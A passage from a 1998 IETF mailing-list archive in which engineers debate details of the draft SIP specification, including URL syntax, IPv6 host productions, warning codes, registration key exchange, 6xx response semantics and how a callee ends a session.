too much RTTs, H.323 should be expanded further to have an optional
feature to reduce RTTs. H.323 has its own astonishing potential.

The other is to favour the thin document and slim features
relying on astonishing potential of existing protocols.

Here, any document longer than 20 pages will not considered from
the beginning.

Now, let's consider session management in general.

According to the former way of evaluation, H.323 should be expanded
through its own astonishing potential.

According to the latter way of evaluation, Yoram made a point
that separate functionalities should be separeted as much
as possible.

							Masataka Ohta

From confctrl-owner  Fri May  1 01:30:54 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA01531
	for confctrl-outgoing; Fri, 1 May 1998 01:30:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA01525
	for <confctrl@zephyr.isi.edu>; Fri, 1 May 1998 01:30:53 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA19579
	for <confctrl@ISI.EDU>; Fri, 1 May 1998 01:30:08 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199805010818.RAA11806@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id RAA11806; Fri, 1 May 1998 17:18:25 +0900
Subject: RE: Making SIP HTTP/1.1 Compliant -- RTSP???
To: mohta@necom830.hpcl.titech.ac.jp (Masataka Ohta)
Date: Fri, 1 May 98 17:18:25 JST
Cc: henry.sinnreich@mci.com, huitema@bellcore.com, confctrl@ISI.EDU
In-Reply-To: <199805010150.KAA11313@necom830.hpcl.titech.ac.jp>; from "Masataka Ohta" at May 1, 98 10:50 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> According to the latter way of evaluation, Yoram made a point

Oops, he is Yaron, not Yoram. My apologies.

							Masataka Ohta

From confctrl-owner  Sat May  2 10:16:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA15511
	for confctrl-outgoing; Sat, 2 May 1998 10:16:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA15506
	for <confctrl@zephyr.isi.edu>; Sat, 2 May 1998 10:16:21 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA02683
	for <confctrl@ISI.EDU>; Sat, 2 May 1998 10:16:20 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id NAA18951; Sat, 2 May 1998 13:16:19 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id NAA04098; Sat, 2 May 1998 13:16:18 -0400 (EDT)
Message-ID: <354B54E1.A352AC32@cs.columbia.edu>
Date: Sat, 02 May 1998 13:16:17 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Yaron Goland <yarong@microsoft.com>
CC: "'Lewis McCarthy'" <lmccarth@cs.umass.edu>, MMUSIC List <confctrl@ISI.EDU>
Subject: Re: 4.2.5 Register Re: General Comments on the SIP Protocol
References: <3FF8121C9B6DD111812100805F31FC0D02971274@red-msg-59.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Three possibilities:

(1) Announce key in Response-Key in some kind of registrar advertisement
message (to be defined).

(2) Two-step registration: REGISTER first with no information, get key
and then register again including sensitive information (such as CPL).
One possibility:

C->S: REGISTER

S->C: 401 Unauthorized
      WWW-Authenticate: ... publickey="..."

C->S: REGISTER
      Authorization: ...

[Encrypted using the public key.]

(3) Out-of-band.

(1) and (2) are preferable, but (1) overlaps with server location
functionality.

From confctrl-owner  Sat May  2 15:01:16 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA19200
	for confctrl-outgoing; Sat, 2 May 1998 15:01:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA19195
	for <confctrl@zephyr.isi.edu>; Sat, 2 May 1998 15:01:15 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA09278
	for <confctrl@ISI.EDU>; Sat, 2 May 1998 15:01:13 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA00807; Sat, 2 May 1998 18:01:12 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA05375; Sat, 2 May 1998 18:01:11 -0400 (EDT)
Message-ID: <354B97A7.7EBED694@cs.columbia.edu>
Date: Sat, 02 May 1998 18:01:11 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Yaron Goland <yarong@microsoft.com>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: NITs I found while reading the SIP spec
References: <3FF8121C9B6DD111812100805F31FC0D02971263@red-msg-59.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yaron Goland wrote:
> 
> 5 NITs

Will or have been fixed unless discussed below.


> 
> Why does the SIP URL begin with "SIP://" when no hierarchical namespace
> (authority) is being defined? The correct format would be "SIP:".

Mistake has been corrected (see current version).

> 
> Why do short SIP URLs have a production for port but full SIP URLs do not?

Same.

> 
> There is a draft out on how to create telephone URLs
> (http://www.ietf.org/internet-drafts/draft-antti-telephony-url-04.txt). I
> would suggest carefully reviewing it and thinking of revising your own phone
> production based on the extensive information provided in the draft.

We should probably just reference it.

> 
> Your hostnumber production does not support IPv6

Do you have an existing production?

> I honestly don't grok the headers production. What is the huge quote
> enclosed space for?

Formatting bug.

> While it is true that the short form SIP URL can be used unambiguously it is
> a general principal of protocol design to never provide two ways of doing
> the exact same thing. This just leaves more room for screw ups. I would
> strongly urge the group to reconsider the wisdom of saving 4 bytes (assuming
> the groups uses SIP:) at the cost of increasing complexity.

I had raised this earlier, but gotten no response. Can I take this as
agreement to get rid of the short form?

The only issue I see is that:

From: John Doe <j.doe@acme.org>

would become

From: John Doe <sip:j.doe@acme.org>



> 5.7 6.39 Warning
> 
> The BNF for the warn-code is 2DIGIT but you use a four digit with a "."
> warning format because of your desire to use 606 warnings. I would suggest
> that this is an inappropriate use of the warning header. Instead your should
> introduce new 6xx codes to cover what you now call warnings. Regardless of
> the outcome, either the examples must change or the BNF production for
> warn-code in 6.39 must be changed.

The idea was to be able to provide several warnings in the same message,
which is difficult to do with status codes. Suggestions?

Henning

From confctrl-owner  Sat May  2 19:46:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA23120
	for confctrl-outgoing; Sat, 2 May 1998 19:46:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA23115
	for <confctrl@zephyr.isi.edu>; Sat, 2 May 1998 19:46:16 -0700 (PDT)
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.23])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA14167
	for <confctrl@ISI.EDU>; Sat, 2 May 1998 19:46:14 -0700 (PDT)
Received: by INET-03-IMC with Internet Mail Service (5.5.1960.3)
	id <JT26TQXP>; Sat, 2 May 1998 19:46:15 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D029712AA@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: NITs I found while reading the SIP spec
Date: Sat, 2 May 1998 19:46:12 -0700 
X-Mailer: Internet Mail Service (5.5.1960.3)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> > Your hostnumber production does not support IPv6
> 
> Do you have an existing production?
> 

No, but I'm sure the IPv6 working group can help you. You will need to fix
this in order to survive last call.

> The only issue I see is that:
> 
> From: John Doe <j.doe@acme.org>
> 
> would become
> 
> From: John Doe <sip:j.doe@acme.org>
> 

Since this header is sent at the protocol level, rather than the user level,
I don't think the issue is a major one. For example, a SIP based telephone
program could easily accept j.doe@acme.org and know to change that to
sip:j.doe@acme.org on the wire.

> > 5.7 6.39 Warning
> > 
> > The BNF for the warn-code is 2DIGIT but you use a four 
> digit with a "."
> > warning format because of your desire to use 606 warnings. 
> I would suggest
> > that this is an inappropriate use of the warning header. 
> Instead your should
> > introduce new 6xx codes to cover what you now call 
> warnings. Regardless of
> > the outcome, either the examples must change or the BNF 
> production for
> > warn-code in 6.39 must be changed.
> 
> The idea was to be able to provide several warnings in the 
> same message,
> which is difficult to do with status codes. Suggestions?
> 

I addressed this issue in section 3.3.6 of my original comments. The purpose
of section 5.7 was to say that regardless of what resolution you choose,
whether to be HTTP compliant or not, your BNF and your examples are
inconsistent with each other and must be changed.

> Henning
> 

				Yaron

From confctrl-owner  Sat May  2 19:54:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA23242
	for confctrl-outgoing; Sat, 2 May 1998 19:54:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA23235
	for <confctrl@zephyr.isi.edu>; Sat, 2 May 1998 19:54:04 -0700 (PDT)
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.23])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA14255
	for <confctrl@ISI.EDU>; Sat, 2 May 1998 19:54:03 -0700 (PDT)
Received: by INET-03-IMC with Internet Mail Service (5.5.1960.3)
	id <JT26TQ89>; Sat, 2 May 1998 19:54:04 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D029712AB@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>
Cc: "'Lewis McCarthy'" <lmccarth@cs.umass.edu>,
        MMUSIC List
	 <confctrl@ISI.EDU>
Subject: RE: 4.2.5 Register Re: General Comments on the SIP Protocol
Date: Sat, 2 May 1998 19:54:01 -0700 
X-Mailer: Internet Mail Service (5.5.1960.3)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I actually think leaving the matter undefined is best. 

I refer you to my previous response on this subject where I suggest a simple
language modification that should clarify the issue. 

Unfortunately the MMUSIC mailing archive uses a flat file rather than one of
the more modern HTML based formats so I can't give you a URL to that
particular e-mail. Roy Fielding (fielding@ics.uci.edu)uses such a program at
UCI, you may want to contact him to find out how this mailing list can be
switched to that format so that references will be easier in the future.

	Thanks,

			Yaron

> -----Original Message-----
> From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu]
> Sent: Saturday, May 02, 1998 10:16 AM
> To: Yaron Goland
> Cc: 'Lewis McCarthy'; MMUSIC List
> Subject: Re: 4.2.5 Register Re: General Comments on the SIP Protocol
> 
> 
> Three possibilities:
> 
> (1) Announce key in Response-Key in some kind of registrar 
> advertisement
> message (to be defined).
> 
> (2) Two-step registration: REGISTER first with no information, get key
> and then register again including sensitive information (such as CPL).
> One possibility:
> 
> C->S: REGISTER
> 
> S->C: 401 Unauthorized
>       WWW-Authenticate: ... publickey="..."
> 
> C->S: REGISTER
>       Authorization: ...
> 
> [Encrypted using the public key.]
> 
> (3) Out-of-band.
> 
> (1) and (2) are preferable, but (1) overlaps with server location
> functionality.
> 

From confctrl-owner  Sun May  3 11:19:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA05325
	for confctrl-outgoing; Sun, 3 May 1998 11:19:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05320
	for <confctrl@zephyr.isi.edu>; Sun, 3 May 1998 11:19:22 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05529
	for <confctrl@ISI.EDU>; Sun, 3 May 1998 11:19:20 -0700 (PDT)
Received: from leonia (usr44-dialup42.mix2.Boston.mci.net [166.55.77.234]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA21007; Sun, 3 May 1998 14:19:17 -0400 (EDT)
Message-ID: <354CB52A.35B49F00@cs.columbia.edu>
Date: Sun, 03 May 1998 14:19:22 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Reply-To: hgs@cs.columbia.edu
Organization: Columbia University (home)
X-Mailer: Mozilla 4.01 [en] (Win95; I)
MIME-Version: 1.0
To: Yaron Goland <yarong@microsoft.com>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: NITs I found while reading the SIP spec
X-Priority: 3 (Normal)
References: <3FF8121C9B6DD111812100805F31FC0D029712AA@red-msg-59.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yaron Goland wrote:
> 
> > > Your hostnumber production does not support IPv6
> >
> > Do you have an existing production?
> >
> 
> No, but I'm sure the IPv6 working group can help you. You will need to
> fix
> this in order to survive last call.
> 
Given the wording in draft-fielding-uri-syntax-02.txt:

"Note: A suitable representation for including a literal IPv6
      address as the host part of a URL is desired, but has not yet
      been determined or implemented in practice."

I'm very reluctant to jump in here, given that having a specification
that contradicts the new URL RFC is worse than leaving this open for
now. Based on the RTSP experience, anything that is not an RFC at this
moment cannot make it into the SIP spec for the "proposed" round. This,
for example, precludes any use of the HTTP equivalent of "Require" - we
got badly burned last time (with RTSP) when we assumed that the HTTP
side would be ready in time.

Henning

From confctrl-owner  Wed May  6 06:55:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA11968
	for confctrl-outgoing; Wed, 6 May 1998 06:55:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11962
	for <confctrl@zephyr.isi.edu>; Wed, 6 May 1998 06:55:04 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA20723
	for <confctrl@isi.edu>; Wed, 6 May 1998 06:54:59 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id PAA28791 for <confctrl@isi.edu>; Wed, 6 May 1998 15:48:54 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565FC.0051DDFD ; Wed, 6 May 1998 16:54:12 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU
Message-ID: <422565FC.0049FD3E.00@il4.vocaltec.co.il>
Date: Wed, 6 May 1998 16:29:13 +0200
Subject: SIP question -- are 6xx responses really provisional??
Mime-Version: 1.0
Content-type: multipart/mixed; 
	Boundary="0__=FhPtqfMyKiy5nWvm2CKBjT5Q8hWk4kWZ4uVQ4hFEnOzylXWIAiai6gin"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--0__=FhPtqfMyKiy5nWvm2CKBjT5Q8hWk4kWZ4uVQ4hFEnOzylXWIAiai6gin
Content-type: text/plain; charset=US-ASCII



                              SCOTT PETRACK @
                                 VOCALTEC
                             05/06/98 04:29 PM
               (Embedded image moved to file: PIC23439.PCX)


Here are three quotations from SIP v5:

>6xx responses indicate that a server has definitive information about   a
particular >user, not just the particular instance indicated in the
Request-URI. All further >searches for this user are doomed to failure
and pending searches SHOULD be >terminated.

>All 1xx and 6xx responses are provisional. Other responses are
>considered final.

>If the response is provisional, the initiating client MUST continue
retransmitting >the request, albeit less frequently, using timer T2.   The
default retransmission >interval T2 is 5 seconds.

1. First the "600    BUSY"  Response.
If the response is provisional and contains a "Retry-After" field, in this
case surely the client should try at the time listed in the Retry-After
field. If this is listed in 20 minutes, the client should not retransmitt
the request in after timer T2, right?
And is it really forbidden for the client not to retransmit the request?
This is a bit wierd. If the callee returns BUSY, it's not allowed for the
Caller  to give up?  According to the letter of the spec the caller can't
even send BYE.  (If the caller sends BYE the s/he is not retransmitting the
request, which s/he MUST do.)

Here it would be ok to say that the initiating client MAY continue
retransmitting the request or MAY send a BYE to terminate.

2. And how about the "provisional responses"   "604 Does not exist
anywhere" or "603 Decline." These responses sound pretty final to me. But
yet the client must retransmit the request?  I think that the three parts
of the spec quoted above imply:

1.The server has definitive information that the user does not exist
anywhere.
2. The client must retransmit the request after a default of 5 seconds.


Thanks,
Scott

Scott



Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com

--0__=FhPtqfMyKiy5nWvm2CKBjT5Q8hWk4kWZ4uVQ4hFEnOzylXWIAiai6gin
Content-type: application/octet-stream; 
	name="PIC23439.PCX"
Content-transfer-encoding: base64

CgUBCAAAAAArABoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABLAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAADID9MAyQAAxA/CDw/JD9IAyQDFD8IPD8oP0gDHAMUPww8Pyw/RAMYAxg/D
Dw/MD9EAxADGD8MPwg/NDdAAwwDHDcMNwg3OD9AAAMcPxA/CD88PzwDID8QPwg/DD80NzQDIDcQN
wg8P0Q/LAMkPxA/CDw/SD8kAyQ/FD8IPD8YPzQ3HAMoNwg3ED8IP1A/FAMoPxQ/DDw/VD8MAyw/F
D8MPD8kPzQ0Ayw0NxQ/DDw/XD8sPxg/DDw/XD8sPxg/DDw/MD9ENww3HD8MPwg/XD8sPxg/DDw/X
D8sPxg/DDw/PD84NyA/ED8IPD9cPyw/GD8MPD9cPyw/GD8MPD9IPyA3KD8UPwg8P1w/LD8YPww8P
1w/LD8YPww8P1Q/CDcsPxg/DDw8MAAAAgAAAAIAAgIAAAACAgACAAICAgICAwMDA/wAAAP8A//8A
AAD//wD/AP//////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

--0__=FhPtqfMyKiy5nWvm2CKBjT5Q8hWk4kWZ4uVQ4hFEnOzylXWIAiai6gin--


From confctrl-owner  Wed May  6 11:38:40 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA23508
	for confctrl-outgoing; Wed, 6 May 1998 11:38:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA23503
	for <confctrl@zephyr.isi.edu>; Wed, 6 May 1998 11:38:38 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA07617
	for <confctrl@ISI.EDU>; Wed, 6 May 1998 11:38:36 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <KDDZPNYH>; Wed, 6 May 1998 14:38:43 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912ED61@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'Scott Petrack'" <Scott_Petrack@vocaltec.com>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: SIP question -- are 6xx responses really provisional??
Date: Wed, 6 May 1998 14:38:38 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Scott, 

The latest *working* draft v5 fixes that.  
Only 1xx responses are provisional

You can download the latest working draft from Mr. Schulzrinne SIP page
http://www.cs.columbia.edu/~hgs/sip/


-----Original Message-----
From: Scott Petrack [mailto:Scott_Petrack@vocaltec.com]
Sent: 6 mai, 1998 10:29
To: 
Subject: SIP question -- are 6xx responses really provisional??



Here are three quotations from SIP v5:


From confctrl-owner  Thu May  7 05:16:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA29346
	for confctrl-outgoing; Thu, 7 May 1998 05:16:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA29341
	for <confctrl@zephyr.isi.edu>; Thu, 7 May 1998 05:16:55 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA25982
	for <confctrl@isi.edu>; Thu, 7 May 1998 05:16:50 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id OAA00744 for <confctrl@isi.edu>; Thu, 7 May 1998 14:09:25 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565FD.004856BE ; Thu, 7 May 1998 15:10:08 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU
Message-ID: <422565FD.0020F377.00@il4.vocaltec.co.il>
Date: Thu, 7 May 1998 15:08:13 +0200
Subject: Basic problem with caller/callee asymmetry for telephony??
Mime-Version: 1.0
Content-type: multipart/mixed; 
	Boundary="0__=ncNI8UPUMksPF8pnTjlpRHTKBzZAo5zzm5hfvwaB32SPy5dTXjPpVIOG"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--0__=ncNI8UPUMksPF8pnTjlpRHTKBzZAo5zzm5hfvwaB32SPy5dTXjPpVIOG
Content-type: text/plain; charset=US-ASCII



                              SCOTT PETRACK @
                                 VOCALTEC
                             05/07/98 03:08 PM
               (Embedded image moved to file: PIC02484.PCX)


I believe that there may be a small hole in SIP for certain applications.
The fix is extremely simple, minor, and backward compatible. I am grateful
for a check.  (I am about to download the very latest working draft).

In the establishment of the session (aka call) , the caller uses a client
and the callee a server. Later, the caller can change session parameters by
sending a new SIP request. For example, the caller can send a BYE request
to end the call. But how can the _callee_ change the session parameters?
For example, how can the _callee_ signal the end of the session?

(It is not really enough just to have the callee stop sending RTP and send
an RTCP BYE. I am asking how the callee can request the end of the session.
This is very different. For example, this also contains an implicit request
to the caller to stop sending RTP).

In SIP, the caller does not need to have a SIP server running at all. It
just makes requests. So the callee has no place to send a BYE or any other
SIP request to the caller.

I have a simple backward compatible solution to this problem (if you agree
with me that it exists):

1. Allow an ACK  (request) to include a Location: header which contains the
address of a SIP server which can receive later requests about changing the
session.  (The server specified in this Location: field MUST know about the
ACK-ed session). In fact, it would best and simplest to allow Location:
fields in any request. The semantics of Location are now the same for
client and server -- The Location: field contains the address of a server
"owned" by the sender of the message, which is guaranteed to know about the
session described in the message.

2. As a default fallback, one could say that a callee MAY try to send a
later request to the last Via: line, which in principle contains the
address of the initiating SIP client. SIP clients that wish to allow
invitees to send change requests for the session MUST either include a
Location: header in the request (as above) or have a SIP server listening
on the default port (5060) at the address listed in the Via: header.

Please let me know if the problem does not exist or has a different
solution. I don't want to get into lots of conference control issues right
now, but for tightly controlled conferencing such as two party telephony
(sorry if you don't find this application interesting....) it should at
least be possible for either side to request the session to end, and more
generally, for either side to request a change in the session parameters by
issuing a new request. Luckily, we can do this with the simple addition
above.

Scott



Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com

--0__=ncNI8UPUMksPF8pnTjlpRHTKBzZAo5zzm5hfvwaB32SPy5dTXjPpVIOG
Content-type: application/octet-stream; 
	name="PIC02484.PCX"
Content-transfer-encoding: base64

CgUBCAAAAAArABoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABLAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAADID9MAyQAAxA/CDw/JD9IAyQDFD8IPD8oP0gDHAMUPww8Pyw/RAMYAxg/D
Dw/MD9EAxADGD8MPwg/NDdAAwwDHDcMNwg3OD9AAAMcPxA/CD88PzwDID8QPwg/DD80NzQDIDcQN
wg8P0Q/LAMkPxA/CDw/SD8kAyQ/FD8IPD8YPzQ3HAMoNwg3ED8IP1A/FAMoPxQ/DDw/VD8MAyw/F
D8MPD8kPzQ0Ayw0NxQ/DDw/XD8sPxg/DDw/XD8sPxg/DDw/MD9ENww3HD8MPwg/XD8sPxg/DDw/X
D8sPxg/DDw/PD84NyA/ED8IPD9cPyw/GD8MPD9cPyw/GD8MPD9IPyA3KD8UPwg8P1w/LD8YPww8P
1w/LD8YPww8P1Q/CDcsPxg/DDw8MAAAAgAAAAIAAgIAAAACAgACAAICAgICAwMDA/wAAAP8A//8A
AAD//wD/AP//////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
